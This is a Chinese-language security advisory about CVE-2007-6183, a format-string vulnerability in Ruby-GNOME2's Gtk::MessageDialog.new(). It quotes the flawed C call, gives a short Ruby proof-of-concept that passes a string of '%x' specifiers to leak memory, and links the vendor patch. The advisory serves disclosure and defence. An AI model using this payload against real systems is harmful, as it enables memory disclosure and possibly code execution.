安全研究

安全漏洞
Ruby-GNOME2 Gtk::MessageDialog.new()远程格式串处理漏洞

发布日期:2007-11-27
更新日期:2007-11-29

受影响系统:
Ruby-GNOME2 Project Ruby-GNOME2 0.16.0
描述:
BUGTRAQ  ID: 26616
CVE(CAN) ID: CVE-2007-6183

Ruby-GNOME2是一套GNOME 2.0开发环境的Ruby语言包。

Ruby-GNOME2的gtk/src/rbgtkmessagedialog.c文件中的Gtk::MessageDialog.new()方式存在格式串错误,本地击者可能利用此漏洞提升自己权限。

当调用类似于以下的GTK时:

w = gtk_message_dialog_new(NIL_P(parent) ? NULL : GTK_WINDOW(RVAL2GOBJ(parent)),      
              RVAL2GFLAGS(flags, GTK_TYPE_DIALOG_FLAGS),              
              RVAL2GENUM(type, GTK_TYPE_MESSAGE_TYPE),
              RVAL2GENUM(buttons, GTK_TYPE_BUTTONS_TYPE),
              (const gchar*)(NIL_P(message) ? "": RVAL2CSTR(message)));

就会直接将message变量传送给GTK。如果远程攻击者向有漏洞的函数传送了特殊字符串的话,就可能导致执行任意指令。

<*来源:Chris Rohlf
  
  链接:http://secunia.com/advisories/27825/
        http://em386.blogspot.com/2007/11/your-favorite-better-than-c-scripting.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/env ruby# ruby
rubber.rb %x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
require 'gtk2'
my_string = ARGV[0]
dialog = Gtk::MessageDialog.new(@main_app_window, Gtk::Dialog::MODAL,
                       Gtk::MessageDialog::INFO,
                       Gtk::MessageDialog::BUTTONS_CLOSE,
                       "%s - Was your string!" % my_string)
dialog.run
dialog.destroy

建议:
厂商补丁:

Ruby-GNOME2 Project
-------------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://ruby-gnome2.svn.sourceforge.net/viewvc/ruby-gnome2?view=rev&revision=2720

浏览次数:2881
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障